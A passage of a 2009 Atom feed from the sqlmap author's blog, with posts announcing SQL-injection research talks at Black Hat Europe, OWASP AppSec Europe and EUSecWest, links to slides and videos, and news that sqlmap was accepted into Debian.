gd:etag="W/&quot;D0cNSHg-eCp7ImA9WxJQEkk.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-1773411356082223961</id><published>2009-05-25T11:39:00.004+02:00</published><updated>2009-05-25T11:51:39.650+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-25T11:51:39.650+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>EUSecWest 2009</title><content type="html">&lt;span style="font-family: trebuchet ms;"&gt;I have been selected as a speaker for &lt;a href="http://eusecwest.com/"&gt;&lt;span style="text-decoration: underline;"&gt;EUSecWest 2009&lt;/span&gt;&lt;/a&gt;&lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland"&gt;&lt;/a&gt;&lt;/span&gt;&lt;span style="text-decoration: underline; font-family: trebuchet ms;"&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;! I am scheduled to talk on May 28.&lt;br /&gt;&lt;br /&gt;I will be presenting a cut down version of my Black Hat Europe &lt;a href="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html"&gt;talk&lt;/a&gt; due to the shorter time available. However, the most interesting aspects of the research will be covered along with the practical demonstrations with the latest &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="https://svn.sqlmap.org/sqlmap/trunk/sqlmap/"&gt;sqlmap development version&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt;.&lt;br /&gt;&lt;br /&gt;The Conference will take place on May 27 - 28, 2009 at the Sound Club in central London (United Kingdom) and the schedule looks very promising, don't miss it if you can!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-1773411356082223961?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/SCDD74iXI-A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/1773411356082223961/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=1773411356082223961" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/1773411356082223961?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/1773411356082223961?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/SCDD74iXI-A/eusecwest-2009.html" title="EUSecWest 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/05/eusecwest-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0YNRHs-eyp7ImA9WxJRGE4.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-2008726488418877436</id><published>2009-05-20T16:31:00.006+02:00</published><updated>2009-05-20T16:53:15.553+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-20T16:53:15.553+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="slides" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Back from OWASP AppSec Europe 2009</title><content type="html">&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt;Last Wednesday I was in &lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;" class="external text"&gt;Kraków&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;font-size:100%;"  &gt; (Poland) at &lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland"&gt;OWASP AppSec Europe 2009&lt;/a&gt; Conference where I gave a &lt;a href="http://bernardodamele.blogspot.com/2009/05/owasp-appsec-europe-2009.html"&gt;talk&lt;/a&gt;, met again some &lt;a href="http://www.owasp.org/index.php/Italy#OWASP-Italy_Board"&gt;OWASP Italy mates&lt;/a&gt; and a few new people too, had good chats and fun times too.&lt;br /&gt;&lt;br /&gt;Thanks OWASP Board for organizing the event and giving me the opportunity to come over!&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.mindedsecurity.com"&gt;Giorgio Fedon&lt;/a&gt; took some pictures during my speech, you can have a look at them on his &lt;a href="http://www.facebook.com/album.php?aid=15670&amp;amp;id=1617842456&amp;amp;l=d9925d6b8a"&gt;Facebook photo album&lt;/a&gt;. I also mirrored them &lt;a href="http://data.sqlmap.org/conferences/OWASP-EU-2009/"&gt;here&lt;/a&gt;.&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;&lt;br /&gt;&lt;br /&gt;My presentation slides are available on Slideshare &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-short-version"&gt;here&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt; and on OWASP site &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.owasp.org/images/d/dc/AppsecEU09-Damele-A-G-Advanced-SQL-injection-slides.pdf"&gt;here&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt; along with all other presentations. The video should also be soon available on the &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://owasp.blip.tv/"&gt;OWASP channel on Blip.TV&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-2008726488418877436?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/zSI_7vWaFjE" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/2008726488418877436/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=2008726488418877436" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/2008726488418877436?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/2008726488418877436?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/zSI_7vWaFjE/back-from-owasp-appsec-europe-2009.html" title="Back from OWASP AppSec Europe 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/05/back-from-owasp-appsec-europe-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0QGRn88fip7ImA9WxJRGE4.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-6426041831845488455</id><published>2009-05-11T16:15:00.006+02:00</published><updated>2009-05-20T16:55:27.176+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-20T16:55:27.176+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="videos" /><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Presentations videos</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;The video of my recent presentations are available online as MPEG 4 encoded files:&lt;br /&gt;&lt;/span&gt;&lt;ul style="font-family: trebuchet ms;"&gt;&lt;li&gt;&lt;a href="http://data.sqlmap.org/videos/conferences/BH-EU-2009/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-video.mp4"&gt;&lt;/a&gt;&lt;a href="http://data.sqlmap.org/conferences/BH-EU-2009/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-video.mp4"&gt;Black Hat Europe 2009&lt;/a&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://data.sqlmap.org/conferences/OWASP-Denver-2009/Froc-Denver-09-Damele-A-G-SQL-injection-Not-only-And-11-video.mp4"&gt;Front Range OWASP Conference 2009&lt;/a&gt; (also available on &lt;a href="http://video.google.com/videoplay?docid=129190988572738701"&gt;Google Video&lt;/a&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-family:trebuchet ms;"&gt;Comments are welcome!&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-6426041831845488455?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/L7sB2UbEpFw" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/6426041831845488455/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=6426041831845488455" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/6426041831845488455?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/6426041831845488455?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/L7sB2UbEpFw/presentations-videos.html" title="Presentations videos" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/05/presentations-videos.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkUEQHg5fCp7ImA9WxJRFko.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-3432464403813537852</id><published>2009-05-08T11:56:00.007+02:00</published><updated>2009-05-18T20:10:01.624+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-18T20:10:01.624+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="debian" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><title>sqlmap in Debian package repository</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;sqlmap version &lt;span style="font-weight: bold;"&gt;0.6.4&lt;/span&gt; Debian package has been officially accepted in Debian repository!&lt;br /&gt;&lt;br /&gt;As for every new Debian package, I firstly packaged it, opened an &lt;a href="http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=497667"&gt;ITP &lt;span style="font-style: italic;"&gt;wishlist&lt;/span&gt; bug&lt;/a&gt; on Debian bug tracking system, uploaded it to &lt;a href="http://mentors.debian.net/"&gt;Debian mentors repository&lt;/a&gt;, found a Debian developer to sponsor it and upload it on the Debian queue of &lt;a href="http://ftp-master.debian.org/new.html"&gt;&lt;span style="text-decoration: underline;"&gt;new&lt;/span&gt;&lt;/a&gt; packages and finally the package has been accepted by one of the Debian FTP masters in the &lt;span style="font-style: italic;"&gt;Unstable&lt;/span&gt; tree. In a few weeks it should pass to the &lt;span style="font-style: italic;"&gt;Testing&lt;/span&gt; tree and hopefully for next official Debian release to the &lt;span style="font-style: italic;"&gt;Stable&lt;/span&gt; tree too.&lt;br /&gt;&lt;br /&gt;Thanks Pierre Chifflier for sponsoring it and Mark Hymers for accepting it.&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;As soon as I will release sqlmap new stable version &lt;span style="font-weight: bold;"&gt;0.7&lt;/span&gt; I will package it and provide it with the Debian sponsor to upload it straightaway.&lt;br /&gt;In the meanwhile if you are running Debian unstable (codename: &lt;span style="font-style: italic;"&gt;sid&lt;/span&gt;) you can enjoy sqlmap by running:&lt;br /&gt;&lt;blockquote style="font-family: courier new;"&gt;apt-get update&lt;br /&gt;apt-cache show sqlmap&lt;br /&gt;apt-get install sqlmap&lt;br /&gt;sqlmap -h&lt;br /&gt;&lt;/blockquote&gt;&lt;span style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt;Relevant links on Debian site:&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul style="font-family: trebuchet ms;font-family:trebuchet ms;" &gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;sqlmap package main &lt;a href="http://packages.debian.org/sqlmap"&gt;page&lt;/a&gt; on Debian&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a href="http://packages.qa.debian.org/s/sqlmap.html"&gt;Overview of sqlmap source package&lt;/a&gt; on Debian&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Debian Bug report logs: &lt;a href="http://bugs.debian.org/cgi-bin/pkgreport.cgi?pkg=sqlmap"&gt;Bugs in package sqlmap&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;sqlmap Debian package &lt;a href="http://packages.debian.org/changelogs/pool/main/s/sqlmap/current/changelog"&gt;changelog&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;Debian patch tracking system: &lt;a href="http://patch-tracking.debian.net/package/sqlmap"&gt;sqlmap&lt;/a&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-family: trebuchet ms;"&gt;UPDATE - May 18, 2009: sqlmap has been &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://packages.debian.org/search?keywords=sqlmap"&gt;migrated&lt;/a&gt;&lt;span style="font-family: trebuchet ms;"&gt; also to Debian testing (&lt;span style="font-family: courier new;"&gt;squeeze&lt;/span&gt;).&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-3432464403813537852?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/BMWX1BacuxY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/3432464403813537852/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=3432464403813537852" title="2 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/3432464403813537852?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/3432464403813537852?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/BMWX1BacuxY/sqlmap-in-debian-package-repository.html" title="sqlmap in Debian package repository" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/05/sqlmap-in-debian-package-repository.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CkQGQHk_fSp7ImA9WxJSEUo.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-5574986239459444976</id><published>2009-05-01T11:08:00.002+02:00</published><updated>2009-05-01T11:32:01.745+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-01T11:32:01.745+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>OWASP AppSec Europe 2009</title><content type="html">&lt;span style="font-family: trebuchet ms;"&gt;I have been selected as a speaker for &lt;a href="http://www.owasp.org/index.php/OWASP_AppSec_Europe_2009_-_Poland"&gt;OWASP AppSec Europe 2009&lt;/a&gt;&lt;/span&gt;&lt;span style="text-decoration: underline; font-family: trebuchet ms;"&gt;&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt;! I am scheduled to talk on May 13 afternoon.&lt;br /&gt;&lt;br /&gt;I will be presenting a cut down version of my Black Hat Europe &lt;a href="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html"&gt;talk&lt;/a&gt; due to the shorter time available. However, the most interesting aspects of the research will be covered along with the practical demonstrations.&lt;br /&gt;&lt;br /&gt;The Conference will take place on May 13 - 14, 2009 at Park Inn Hotel in &lt;/span&gt;&lt;span style="font-family: trebuchet ms;" class="external text"&gt;Kraków&lt;/span&gt;&lt;span style="font-family: trebuchet ms;"&gt; (Poland), don't miss it if you can!&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-5574986239459444976?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/LDm0rLfPZos" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/5574986239459444976/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=5574986239459444976" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/5574986239459444976?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/5574986239459444976?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/LDm0rLfPZos/owasp-appsec-europe-2009.html" title="OWASP AppSec Europe 2009" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/05/owasp-appsec-europe-2009.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEEHRng_eCp7ImA9WxJTFks.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-8397699032822330362</id><published>2009-04-20T16:53:00.010+02:00</published><updated>2009-04-25T14:30:37.640+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-04-25T14:30:37.640+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="slides" /><category scheme="http://www.blogger.com/atom/ns#" term="whitepaper" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Advanced SQL injection to operating system full control</title><content type="html">&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;On Saturday I came back from Amsterdam (The Netherlands) where I gave a &lt;a href="http://bernardodamele.blogspot.com/2009/03/black-hat-europe-2009.html"&gt;talk&lt;/a&gt; at &lt;a href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html"&gt;Black Hat Briefings Europe 2009&lt;/a&gt;, met some very smart people, had good chats and fun times too.&lt;br /&gt;&lt;br /&gt;Thanks &lt;a href="https://www.blackhat.com/html/bh-about/about.html"&gt;Black Hat team&lt;/a&gt; for organizing such a great event and giving me the opportunity to come over!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;My presentation whitepaper is &lt;a href="http://sqlmap.sourceforge.net/doc/BlackHat-Europe-09-Damele-A-G-Advanced-SQL-injection-whitepaper.pdf"&gt;online&lt;/a&gt; on sqlmap site and the slides are &lt;a href="http://www.slideshare.net/inquis/advanced-sql-injection-to-operating-system-full-control-slides"&gt;online&lt;/a&gt; on Slideshare. You &lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;can also read them below.&lt;/span&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;&lt;br /&gt;&lt;br /&gt;I also released sqlmap &lt;span style="font-weight: bold;"&gt;0.7 release candidate 1&lt;/span&gt; &lt;/span&gt;with all of the new features described during my presentation at the Conference. You can get a copy from the tool &lt;a href="http://sqlmap.sourceforge.net/#download"&gt;homepage&lt;/a&gt;.&lt;a href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html"&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="width: 425px; text-align: left;" id="__ss_1316179"&gt;&lt;object style="margin: 0px;" width="425" height="355"&gt;&lt;param name="movie" value="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=blackhat-europe-09-dameleag-advancedsqlinjection-slides-090420100219-phpapp02&amp;amp;rel=0&amp;amp;stripped_title=advanced-sql-injection-to-operating-system-full-control-slides"&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;param name="allowScriptAccess" value="always"&gt;&lt;embed src="http://static.slidesharecdn.com/swf/ssplayer2.swf?doc=blackhat-europe-09-dameleag-advancedsqlinjection-slides-090420100219-phpapp02&amp;amp;rel=0&amp;amp;stripped_title=advanced-sql-injection-to-operating-system-full-control-slides" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="425" height="355"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;UPDATE - April 25, 2009: The presentation material is also available on Black Hat Europe 2009 &lt;a href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-archives.html#Damele"&gt;archive page&lt;/a&gt;.&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5992960384014403726-8397699032822330362?l=bernardodamele.blogspot.com'/&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/BernardoDamele/~4/NT5HzF5QWfs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://bernardodamele.blogspot.com/feeds/8397699032822330362/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="https://www.blogger.com/comment.g?blogID=5992960384014403726&amp;postID=8397699032822330362" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/8397699032822330362?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/5992960384014403726/posts/default/8397699032822330362?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/BernardoDamele/~3/NT5HzF5QWfs/advanced-sql-injection-to-operating.html" title="Advanced SQL injection to operating system full control" /><author><name>Bernardo Damele A. G.</name><uri>http://www.blogger.com/profile/09559797097905287612</uri><email>bernardo.damele@gmail.com</email><gd:extendedProperty name="OpenSocialUserId" value="12954064603253805339" /></author><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://bernardodamele.blogspot.com/2009/04/advanced-sql-injection-to-operating.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A08AQn06fip7ImA9WxJSF08.&quot;"><id>tag:blogger.com,1999:blog-5992960384014403726.post-4991470129900193006</id><published>2009-03-23T11:59:00.010+01:00</published><updated>2009-05-07T22:57:23.316+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-05-07T22:57:23.316+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="sql injection" /><category scheme="http://www.blogger.com/atom/ns#" term="media" /><category scheme="http://www.blogger.com/atom/ns#" term="sqlmap" /><category scheme="http://www.blogger.com/atom/ns#" term="conferences" /><title>Black Hat Europe 2009</title><content type="html">&lt;span style="font-family:trebuchet ms;"&gt;I have been selected as a &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-speakers.html#Damele"&gt;speaker&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; for &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-main.html"&gt;Black Hat Europe 2009 Briefings&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt;!&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt; I am &lt;/span&gt;&lt;a style="font-family: trebuchet ms;" href="http://www.blackhat.com/html/bh-europe-09/bh-eu-09-schedule.html"&gt;scheduled&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; to talk on April 16.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:trebuchet ms;"&gt;My presentation is titled &lt;/span&gt;&lt;span style="font-style: italic;font-family:trebuchet ms;" &gt;Advanced SQL Injection exploitation to operating system full&lt;/span&gt;&lt;span style="font-family:trebuchet ms;"&gt;&lt;span style="font-style: italic;"&gt; control&lt;/span&gt; and the abstract is as follows:&lt;/span&gt;&lt;br /&gt;&lt;blockquote style="font-family: trebuchet ms;"&gt;Over ten years have passed since a famous hacker coined the term "SQL injection" and it is still considered one of the major web application threats, affecting over 70% of web application on the Net. A lot has been said on this specific vulnerability, but not all of the aspects and implications have been uncovered, yet.&lt;br /&gt;&lt;br /&gt;It's time to explore new ways to get complete control over the database management system's underlying operating system through a SQL injection vulnerability in those over-looked and theoretically not exploitable scenarios: From the command execution on MySQL and PostgreSQL to a stored procedure's buffer overflow exploitation on Microsoft SQL Server. These and much more will be unveiled and demonstrated with my &lt;a href="http://sqlmap.sourceforge.net/"&gt;own tool&lt;/a&gt;'s new version that I will release at the Conference.&lt;/blockquote&gt;&lt;span style="font-family:trebuchet ms;"&gt;At the moment I am rushing on writing the last pages of the white paper: the deadline is in a few days.&lt;br /&gt;The research phase is finished with the expected results and the development is at a good point.&lt;br /&gt;&lt;br /&gt;The Conference will take place on April 14 - 17, 2009 at Moevenpick Hotel City Centre in Amsterdam (The Netherlands), don't miss it if you can!&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;UPDATE - April 2009: Pre-conference media coverage:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;ul  style="font-family:trebuchet ms;"&gt;&lt;li  style="font-family:trebuchet ms;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-style: italic;" href="http://www.darkreading.com/security/vulnerabilities/showArticle.jhtml?articleID=216402297"&gt;Black Hat Europe Researcher Hacks Database Servers&lt;/a&gt; - DarkReading. April 1, 2009&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li  style="font-family:trebuchet ms;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-style: italic;" href="http://www.eweek.com/c/a/Security/Security-Researcher-to-Unveil-Database-Server-Hack-at-Black-Hat-Europe-646681/"&gt;Security Researcher to Unveil Database Server Hack at Black Hat Europe&lt;/a&gt; - eWeek. April 2, 2009&lt;br /&gt;&lt;/span&gt;&lt;/li&gt;&lt;li  style="font-family:trebuchet ms;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-style: italic;" href="http://www.theregister.co.uk/2009/04/02/new_sql_injection_attack/"&gt;Next-gen SQL injection opens server door&lt;/a&gt; - The Register. April 2, 2009&lt;/span&gt;&lt;/li&gt;&lt;li  style="font-family:trebuchet ms;"&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-style: italic;" href="http://www.infosecurity-us.com/news/090403_SQLCommand.shtml"&gt;SQL injection attack leads to command execution&lt;/a&gt; - Infosecurity US. April 3, 2009&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span style="font-size:100%;"&gt;&lt;a style="font-style: italic; font-family: trebuchet ms;" href="http://www.eweekeurope.co.uk/news/security-expert-to-demo-sql-injection-at-black-hat-550"&gt;Security Expert To Demo SQL Injection At Black Hat&lt;/a&gt;&lt;span style="font-family:trebuchet ms;"&gt; - eWeek Europe. April 3, 2009&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style=";font-family:trebuchet ms;font-size:100%;"  &gt;Post-conference media coverage:&lt;br /&gt;&lt;/span&gt;&lt;ul&gt;&lt;li style="font-family: trebuchet ms;"&gt;&lt;a style="font-style: italic;" href="http://www.h-online.com/security/SQL-injection-reloaded-access-to-the-operating-system--/news/113095"&gt;SQL injection reloaded: access to the operating system&lt;/a&gt; - H-online. April 17, 2009&lt;/li&gt;&lt;li&gt;&lt;a style="font-style: italic; font-family: trebuchet ms;" href="http://www.heise.de/security/SQL-Injection-reloaded-Zugriff-auf-das-Betriebssystem--/news/meldung/136340"&gt;SQL-Injection reloaded: Zugriff auf das 